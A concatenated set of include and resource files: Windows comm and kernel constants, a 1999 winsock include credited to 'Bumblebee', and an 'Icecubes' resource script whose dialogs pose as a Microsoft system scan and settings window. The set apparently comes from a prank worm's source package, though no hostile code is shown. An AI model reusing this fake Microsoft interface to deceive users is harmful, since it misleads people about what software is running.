|||
|
CE_CTSTO = 0020h ; /* CTS Timeout */
|
|||
|
CE_DSRTO = 0040h ; /* DSR Timeout */
|
|||
|
CE_RLSDTO = 0080h ; /* RLSD Timeout */
|
|||
|
CE_TXFULL = 0100h ; /* TX Queue is full */
|
|||
|
CE_PTO = 0200h ; /* LPTx Timeout */
|
|||
|
CE_IOE = 0400h ; /* LPTx I/O Error */
|
|||
|
CE_DNS = 0800h ; /* LPTx Device not selected */
|
|||
|
CE_OOP = 1000h ; /* LPTx Out-Of-Paper */
|
|||
|
CE_MODE = 8000h ; /* Requested mode unsupported */
|
|||
|
|
|||
|
IE_BADID = (-1) ; /* Invalid or unsupported id */
|
|||
|
IE_OPEN = (-2) ; /* Device Already Open */
|
|||
|
IE_NOPEN = (-3) ; /* Device Not Open */
|
|||
|
IE_MEMORY = (-4) ; /* Unable to allocate queues */
|
|||
|
IE_DEFAULT = (-5) ; /* Error in default parameters */
|
|||
|
IE_HARDWARE = (-10) ; /* Hardware Not Present */
|
|||
|
IE_BYTESIZE = (-11) ; /* Illegal Byte Size */
|
|||
|
IE_BAUDRATE = (-12) ; /* Unsupported BaudRate */
|
|||
|
|
|||
|
; Events
|
|||
|
EV_RXCHAR = 0001h ; /* Any Character received */
|
|||
|
EV_RXFLAG = 0002h ; /* Received certain character */
|
|||
|
EV_TXEMPTY = 0004h ; /* Transmitt Queue Empty */
|
|||
|
EV_CTS = 0008h ; /* CTS changed state */
|
|||
|
EV_DSR = 0010h ; /* DSR changed state */
|
|||
|
EV_RLSD = 0020h ; /* RLSD changed state */
|
|||
|
EV_BREAK = 0040h ; /* BREAK received */
|
|||
|
EV_ERR = 0080h ; /* Line status error occurred */
|
|||
|
EV_RING = 0100h ; /* Ring signal detected */
|
|||
|
EV_PERR = 0200h ; /* Printer error occured */
|
|||
|
EV_CTSS = 0400h ; /* CTS state */
|
|||
|
EV_DSRS = 0800h ; /* DSR state */
|
|||
|
EV_RLSDS = 1000h ; /* RLSD state */
|
|||
|
EV_RingTe = 2000h ; /* Ring Trailing Edge Indicator */
|
|||
|
|
|||
|
|
|||
|
; Escape Functions
|
|||
|
SETXOFF = 1 ; /* Simulate XOFF received */
|
|||
|
SETXON = 2 ; /* Simulate XON received */
|
|||
|
SETRTS = 3 ; /* Set RTS high */
|
|||
|
CLRRTS = 4 ; /* Set RTS low */
|
|||
|
SETDTR = 5 ; /* Set DTR high */
|
|||
|
CLRDTR = 6 ; /* Set DTR low */
|
|||
|
RESETDEV = 7 ; /* Reset device if possible */
|
|||
|
|
|||
|
LPTx = 80h ; /* Set if ID is for LPT device */
|
|||
|
|
|||
|
IFNDEF NOWIN31
|
|||
|
; new escape functions
|
|||
|
GETMAXLPT equ 8 ; Max supported LPT id
|
|||
|
GETMAXCOM equ 9 ; Max supported COM id
|
|||
|
GETBASEIRQ equ 10 ; Get port base & irq for a port
|
|||
|
|
|||
|
; Comm Baud Rate indices
|
|||
|
CBR_110 equ 0FF10h
|
|||
|
CBR_300 equ 0FF11h
|
|||
|
CBR_600 equ 0FF12h
|
|||
|
CBR_1200 equ 0FF13h
|
|||
|
CBR_2400 equ 0FF14h
|
|||
|
CBR_4800 equ 0FF15h
|
|||
|
CBR_9600 equ 0FF16h
|
|||
|
CBR_14400 equ 0FF17h
|
|||
|
CBR_19200 equ 0FF18h
|
|||
|
; 0FF19h (reserved)
|
|||
|
; 0FF1Ah (reserved)
|
|||
|
CBR_38400 equ 0FF1Bh
|
|||
|
; 0FF1Ch (reserved)
|
|||
|
; 0FF1Dh (reserved)
|
|||
|
; 0FF1Eh (reserved)
|
|||
|
CBR_56000 equ 0FF1Fh
|
|||
|
; 0FF20h (reserved)
|
|||
|
; 0FF21h (reserved)
|
|||
|
; 0FF22h (reserved)
|
|||
|
CBR_128000 equ 0FF23h
|
|||
|
; 0FF24h (reserved)
|
|||
|
; 0FF25h (reserved)
|
|||
|
; 0FF26h (reserved)
|
|||
|
CBR_256000 equ 0FF27h
|
|||
|
|
|||
|
; notifications passed in low word of lParam on WM_COMMNOTIFY messages
|
|||
|
CN_RECEIVE equ 1 ; bytes are available in the input queue
|
|||
|
CN_TRANSMIT equ 2 ; fewer than wOutTrigger bytes still
|
|||
|
; remain in the output queue waiting
|
|||
|
; to be transmitted.
|
|||
|
CN_EVENT equ 4 ; an enabled event has occurred
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
|
|||
|
DCB struc
|
|||
|
DCB_Id db ? ; /* Internal Device ID */
|
|||
|
DCB_BaudRate dw ? ; /* Baudrate at which runing */
|
|||
|
DCB_ByteSize db ? ; /* Number of bits/byte, 4-8 */
|
|||
|
DCB_Parity db ? ; /* 0-4=None,Odd,Even,Mark,Space */
|
|||
|
DCB_StopBits db ? ; /* 0,1,2 = 1, 1.5, 2 */
|
|||
|
DCB_RlsTimeout dw ? ; /* Timeout for RLSD to be set */
|
|||
|
DCB_CtsTimeout dw ? ; /* Timeout for CTS to be set */
|
|||
|
DCB_DsrTimeout dw ? ; /* Timeout for DSR to be set */
|
|||
|
|
|||
|
DCB_BitMask1 db ?
|
|||
|
|
|||
|
; BYTE fBinary: 1; /* Binary Mode (skip EOF check */
|
|||
|
; BYTE fRtsDisable:1; /* Don't assert RTS at init time */
|
|||
|
; BYTE fParity: 1; /* Enable parity checking */
|
|||
|
; BYTE fOutxCtsFlow:1; /* CTS handshaking on output */
|
|||
|
; BYTE fOutxDsrFlow:1; /* DSR handshaking on output */
|
|||
|
; BYTE fDummy: 2; /* Reserved */
|
|||
|
; BYTE fDtrDisable:1; /* Don't assert DTR at init time */
|
|||
|
|
|||
|
DCB_BitMask2 db ?
|
|||
|
|
|||
|
; BYTE fOutX: 1; /* Enable output X-ON/X-OFF */
|
|||
|
; BYTE fInX: 1; /* Enable input X-ON/X-OFF */
|
|||
|
; BYTE fPeChar: 1; /* Enable Parity Err Replacement */
|
|||
|
; BYTE fNull: 1; /* Enable Null stripping */
|
|||
|
; BYTE fChEvt: 1; /* Enable Rx character event. */
|
|||
|
; BYTE fDtrflow: 1; /* DTR handshake on input */
|
|||
|
; BYTE fRtsflow: 1; /* RTS handshake on input */
|
|||
|
; BYTE fDummy2: 1;
|
|||
|
|
|||
|
DCB_XonChar db ? ; /* Tx and Rx X-ON character */
|
|||
|
DCB_XoffChar db ? ; /* Tx and Rx X-OFF character */
|
|||
|
DCB_XonLim dw ? ; /* Transmit X-ON threshold */
|
|||
|
DCB_XoffLim dw ? ; /* Transmit X-OFF threshold */
|
|||
|
DCB_PeChar db ? ; /* Parity error replacement char */
|
|||
|
DCB_EofChar db ? ; /* End of Input character */
|
|||
|
DCB_EvtChar db ? ; /* Recieved Event character */
|
|||
|
DCB_TxDelay dw ? ; /* Amount of time between chars */
|
|||
|
DCB ends
|
|||
|
|
|||
|
COMSTAT struc
|
|||
|
COMS_BitMask1 db ?
|
|||
|
|
|||
|
; BYTE fCtsHold: 1; /* Transmit is on CTS hold */
|
|||
|
; BYTE fDsrHold: 1; /* Transmit is on DSR hold */
|
|||
|
; BYTE fRlsdHold: 1; /* Transmit is on RLSD hold */
|
|||
|
; BYTE fXoffHold: 1; /* Received handshake */
|
|||
|
; BYTE fXoffSent: 1; /* Issued handshake */
|
|||
|
; BYTE fEof: 1; /* End of file character found */
|
|||
|
; BYTE fTxim: 1; /* Character being transmitted */
|
|||
|
|
|||
|
|
|||
|
COMS_cbInQue dw ? ; /* count of characters in Rx Queue */
|
|||
|
COMS_cbOutQue dw ? ; /* count of characters in Tx Queue */
|
|||
|
COMSTAT ends
|
|||
|
|
|||
|
ENDIF ;NOCOM
|
|||
|
|
|||
|
;
|
|||
|
; Installable Driver Support
|
|||
|
;
|
|||
|
; Driver Messages
|
|||
|
DRV_LOAD = 0001h
|
|||
|
DRV_ENABLE = 0002h
|
|||
|
DRV_OPEN = 0003h
|
|||
|
DRV_CLOSE = 0004h
|
|||
|
DRV_DISABLE = 0005h
|
|||
|
DRV_FREE = 0006h
|
|||
|
DRV_CONFIGURE = 0007h
|
|||
|
DRV_QUERYCONFIGURE = 0008h
|
|||
|
DRV_INSTALL = 0009h
|
|||
|
DRV_REMOVE = 000Ah
|
|||
|
DRV_EXITSESSION = 000Bh
|
|||
|
DRV_POWER = 000Fh
|
|||
|
DRV_RESERVED = 0800h
|
|||
|
DRV_USER = 4000h
|
|||
|
|
|||
|
;LPARAM of DRV_CONFIGURE message and return values
|
|||
|
DRVCONFIGINFO struc
|
|||
|
DRVCNF_dwDCISize dw ?
|
|||
|
DRVCNF_lpszDCISectionName dd ?
|
|||
|
DRVCNF_lpszDCIAliasName dd ?
|
|||
|
DRVCONFIGINFO ends
|
|||
|
|
|||
|
DRVCNF_CANCEL = 0000h
|
|||
|
DRVCNF_OK = 0001h
|
|||
|
DRVCNF_RESTART = 0002h
|
|||
|
|
|||
|
|
|||
|
IFNDEF NOKERNEL
|
|||
|
;
|
|||
|
; Common Kernel errors
|
|||
|
;
|
|||
|
ERR_GALLOC = 01030h ; GlobalAlloc Failed
|
|||
|
ERR_GREALLOC = 01031h ; GlobalReAlloc Failed
|
|||
|
ERR_GLOCK = 01032h ; GlobalLock Failed
|
|||
|
ERR_LALLOC = 01033h ; LocalAlloc Failed
|
|||
|
ERR_LREALLOC = 01034h ; LocalReAlloc Failed
|
|||
|
ERR_LLOCK = 01035h ; LocalLock Failed
|
|||
|
ERR_ALLOCRES = 01036h ; AllocResource Failed
|
|||
|
ERR_LOCKRES = 01037h ; LockResource Failed
|
|||
|
ERR_LOADMODULE = 01038h ; LoadModule failed
|
|||
|
|
|||
|
;
|
|||
|
; Common User Errors
|
|||
|
;
|
|||
|
ERR_CREATEDLG = 01045h ; /* Create Dlg failure due to LoadMenu failure */
|
|||
|
ERR_CREATEDLG2 = 01046h ; /* Create Dlg failure due to CreateWindow Failure */
|
|||
|
ERR_REGISTERCLASS = 01047h ; /* RegisterClass failure due to Class already registered */
|
|||
|
ERR_DCBUSY = 01048h ; /* DC Cache is full */
|
|||
|
ERR_CREATEWND = 01049h ; /* Create Wnd failed due to class not found */
|
|||
|
ERR_STRUCEXTRA = 01050h ; /* Unallocated Extra space is used */
|
|||
|
ERR_LOADSTR = 01051h ; /* LoadString() failed */
|
|||
|
ERR_LOADMENU = 01052h ; /* LoadMenu Failed */
|
|||
|
ERR_NESTEDBEGINPAINT = 01053h ; /* Nested BeginPaint() calls */
|
|||
|
ERR_BADINDEX = 01054h ; /* Bad index to Get/Set Class/Window Word/Long */
|
|||
|
ERR_CREATEMENU = 01055h ; /* Error creating menu */
|
|||
|
|
|||
|
;
|
|||
|
; Common GDI Errors
|
|||
|
;
|
|||
|
ERR_CREATEDC = 01070h ; /* CreateDC/CreateIC etc., failure */
|
|||
|
ERR_CREATEMETA = 01071h ; /* CreateMetafile failure */
|
|||
|
ERR_DELOBJSELECTED = 01072h ; /* Bitmap being deleted is selected into DC */
|
|||
|
ERR_SELBITMAP = 01073h ; /* Bitmap being selected is already selected elsewhere */
|
|||
|
|
|||
|
ENDIF ;NOKERNEL
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WINDOWS.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WSOCKS.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; WSocks.inc: include file for windows sockets .
|
|||
|
; Designed for TASM5 and Win32.
|
|||
|
;
|
|||
|
; (C) 1999 Bumblebee.
|
|||
|
;
|
|||
|
; This file contains basic structures and stuff to work
|
|||
|
; with windows sockets.
|
|||
|
;
|
|||
|
|
|||
|
; Descriptions of the API:
|
|||
|
; arguments in order of PUSH ;)
|
|||
|
|
|||
|
; only for debug
|
|||
|
extrn WSAGetLastError:PROC
|
|||
|
|
|||
|
; starts the use of winsock dll
|
|||
|
; addr WSADATA, version requested
|
|||
|
; returns: 0 ok
|
|||
|
extrn WSAStartup:PROC
|
|||
|
|
|||
|
; terminates the use of winsock dll
|
|||
|
; returns: SOCK_ERR on error
|
|||
|
extrn WSACleanup:PROC
|
|||
|
|
|||
|
; opens a new socket
|
|||
|
; protocol (PCL_NONE), type (SOCK_??), addr format (AF_??)
|
|||
|
; returns: socket id or SOCKET_ERR (socket is dw)
|
|||
|
extrn socket:PROC
|
|||
|
|
|||
|
; closes a socket
|
|||
|
; socket descriptor
|
|||
|
;
|
|||
|
extrn closesocket:PROC
|
|||
|
|
|||
|
; sends data (this socks are a shit... Unix uses simple write)
|
|||
|
; flags (1 OOB data or 0 normal ) , length, addr of buffer, socket
|
|||
|
; returns: caracters sent or SOCKET_ERR on error
|
|||
|
extrn send:PROC
|
|||
|
|
|||
|
; reveives data (this socks are a shit... Unix uses simple read)
|
|||
|
; flags (use 0), length, addr of buffer, socket
|
|||
|
; returns: caracters sent or SOCKET_ERR on error
|
|||
|
extrn recv:PROC
|
|||
|
|
|||
|
; connects to a server
|
|||
|
; sizeof struct SOCKADDR, struct SOCKADDR, socket
|
|||
|
; returns: SOCKET_ERR on error
|
|||
|
extrn connect:PROC
|
|||
|
|
|||
|
; gets the name of the current host
|
|||
|
; length of the buffer for name, addr of buffer for name
|
|||
|
; return: SOCKET_ERR on error
|
|||
|
extrn gethostname:PROC
|
|||
|
|
|||
|
; gets strcut hostent
|
|||
|
; addr of name
|
|||
|
; returns: ponter to the struct or 0 on error
|
|||
|
extrn gethostbyname:PROC
|
|||
|
|
|||
|
; converts a zstring like "xxx.xxx.xx...." to netw byte order
|
|||
|
; zstring ptr to change to dotted addr format
|
|||
|
; returns: in_addr (dd)
|
|||
|
extrn inet_addr:PROC
|
|||
|
|
|||
|
; dw to convert into netw byte order (usually the port)
|
|||
|
; returns: the value in network byte order (dw)
|
|||
|
extrn htons:PROC
|
|||
|
|
|||
|
; Structs :o
|
|||
|
|
|||
|
; sockaddr struct for connection
|
|||
|
; modified (for better use)
|
|||
|
; if you want the original look for it into a winsock.h
|
|||
|
SOCKADDR struct
|
|||
|
sin_family dw 0 ; ex. AF_INET
|
|||
|
sin_port dw 0 ; use htons for this
|
|||
|
sin_addr dd 0 ; here goes server node (from inet_addr)
|
|||
|
sin_zero db 8 dup(0)
|
|||
|
SOCKADDR ends
|
|||
|
|
|||
|
; for WSAStartup diagnose
|
|||
|
WSADATA struct
|
|||
|
mVersion dw 0
|
|||
|
mHighVersion dw 0
|
|||
|
szDescription db 257 dup(0)
|
|||
|
szSystemStatus db 129 dup(0)
|
|||
|
iMaxSockets dw 0
|
|||
|
iMaxUpdDg dw 0
|
|||
|
lpVendorInfo dd 0
|
|||
|
WSADATA ends
|
|||
|
|
|||
|
; Some nice equs
|
|||
|
|
|||
|
; what version of winsock do you need? (usually 1.1)
|
|||
|
VERSION1_0 equ 0100h
|
|||
|
VERSION1_1 equ 0101h
|
|||
|
VERSION2_0 equ 0200h
|
|||
|
|
|||
|
AF_UNIX equ 1 ; local host
|
|||
|
AF_INET equ 2 ; internet (most used)
|
|||
|
AF_IMPLINK equ 3 ; arpanet
|
|||
|
AF_NETBIOS equ 17 ; NetBios style addresses
|
|||
|
|
|||
|
; types of sockets
|
|||
|
SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)
|
|||
|
SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)
|
|||
|
|
|||
|
; protocol
|
|||
|
PCL_NONE equ 0 ; none (define the protocol not needed)
|
|||
|
|
|||
|
SOCKET_ERR equ -1 ; standard winsock error
|
|||
|
|
|||
|
HOSTENT_IP equ 10h ; where is the IP into the hostent struct
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[WSOCKS.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[ICECUBES.RC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
#define IDM_ABOUTBOX 0x0010
|
|||
|
#define IDD_ABOUTBOX 100
|
|||
|
#define IDS_ABOUTBOX 101
|
|||
|
#define IDD_VKS_DIALOG_0 102
|
|||
|
#define IDD_VKS_DIALOG_1 103
|
|||
|
#define IDR_MAINFRAME 128
|
|||
|
#define IDC_CHECK1 1000
|
|||
|
#define IDC_CHECK2 1001
|
|||
|
#define IDC_EDIT3 1003
|
|||
|
#define IDC_SPIN1 1018
|
|||
|
#define IDC_COMBO1 1004
|
|||
|
#define IDC_EDIT1 1005
|
|||
|
#define IDC_CHECK3 1006
|
|||
|
#define IDC_CHECK4 1007
|
|||
|
#define IDC_EDIT2 1008
|
|||
|
#define IDC_BUTTON1 1009
|
|||
|
#define IDC_BUTTON2 1014
|
|||
|
#define IDC_CHECK5 1010
|
|||
|
#define IDC_RADIO1 1012
|
|||
|
#define IDC_RADIO2 1013
|
|||
|
#define IDC_STATIC 1015
|
|||
|
#define IDC_STATIC2 1016
|
|||
|
|
|||
|
|
|||
|
11 ICON "icecubes.ico"
|
|||
|
|
|||
|
IDD_VKS_DIALOG_0 DIALOG 0, 0, 255, 20
|
|||
|
STYLE DS_MODALFRAME | DS_3DLOOK | DS_CENTER | WS_POPUP | WS_VISIBLE |
|
|||
|
WS_CAPTION | WS_SYSMENU
|
|||
|
CAPTION "Scanning system for Microsoft Windows Icecubes..."
|
|||
|
FONT 8, "Verdana"
|
|||
|
BEGIN
|
|||
|
CONTROL "",105,"msctls_progress32",WS_CLIPSIBLINGS,5,5,244,11
|
|||
|
END
|
|||
|
|
|||
|
|
|||
|
IDD_VKS_DIALOG_1 DIALOG 0, 0, 233, 252
|
|||
|
STYLE DS_MODALFRAME | DS_3DLOOK | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
|
|||
|
EXSTYLE WS_EX_APPWINDOW
|
|||
|
CAPTION "Microsoft Windows Icecubes"
|
|||
|
FONT 8, "MS Sans Serif"
|
|||
|
BEGIN
|
|||
|
|
|||
|
LTEXT "Manufacturer's default settings (not to be edited)",
|
|||
|
IDC_STATIC,13,8,200,8
|
|||
|
|
|||
|
GROUPBOX "Endurance options",IDC_STATIC,7,23,218,53
|
|||
|
CONTROL "Crash every",IDC_CHECK1,"Button",BS_AUTOCHECKBOX |
|
|||
|
WS_TABSTOP,15,36,50,10
|
|||
|
CONTROL "Crash after",IDC_CHECK2,"Button",BS_AUTOCHECKBOX |
|
|||
|
WS_TABSTOP,15,54,50,10
|
|||
|
|
|||
|
EDITTEXT IDC_EDIT3,75,35,34,12,ES_AUTOHSCROLL
|
|||
|
CONTROL "Spin1",IDC_SPIN1,"msctls_updown32",UDS_ARROWKEYS,108,35,
|
|||
|
8,12
|
|||
|
|
|||
|
COMBOBOX IDC_COMBO1,130,35,72,85,CBS_DROPDOWNLIST | CBS_SORT |
|
|||
|
WS_VSCROLL | WS_TABSTOP
|
|||
|
|
|||
|
EDITTEXT IDC_EDIT1,75,53,43,13,ES_AUTOHSCROLL
|
|||
|
LTEXT "bytes of un-saved changes",IDC_STATIC,130,55,94,13
|
|||
|
|
|||
|
|
|||
|
GROUPBOX "Save options",IDC_STATIC,7,81,218,69
|
|||
|
CONTROL "Create incredibly large files",IDC_CHECK3,"Button",
|
|||
|
BS_AUTOCHECKBOX | WS_TABSTOP,15,94,163,10
|
|||
|
CONTROL "Allow me to carry on typing during AutoRecovery saves",
|
|||
|
IDC_CHECK4,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,15,112,
|
|||
|
195,10
|
|||
|
LTEXT "Fail AutoRecovery at",IDC_STATIC,25,130,120,13
|
|||
|
LTEXT "percent",IDC_STATIC2,125,130,50,13
|
|||
|
|
|||
|
EDITTEXT IDC_EDIT2,100,128,18,12,ES_AUTOHSCROLL
|
|||
|
|
|||
|
GROUPBOX "Other options",IDC_STATIC,7,157,218,70
|
|||
|
CONTROL "Decrease boot speed by 70%",IDC_CHECK5,"Button",
|
|||
|
BS_AUTOCHECKBOX | WS_TABSTOP,15,170,190,14
|
|||
|
CONTROL "constantly",IDC_RADIO1,"Button",BS_AUTORADIOBUTTON,35,
|
|||
|
198,48,10
|
|||
|
CONTROL "when I least expect it",IDC_RADIO2,"Button",
|
|||
|
BS_AUTORADIOBUTTON,35,210,83,10
|
|||
|
LTEXT "Annoy me with that sodding paperclip",IDC_STATIC,25,186,
|
|||
|
136,10
|
|||
|
|
|||
|
PUSHBUTTON "Cancel",IDC_BUTTON1,122,233,50,12
|
|||
|
DEFPUSHBUTTON "Ok",IDC_BUTTON2,64,233,50,12
|
|||
|
|
|||
|
END
|
|||
|
|
|||
|
|
|||
|
|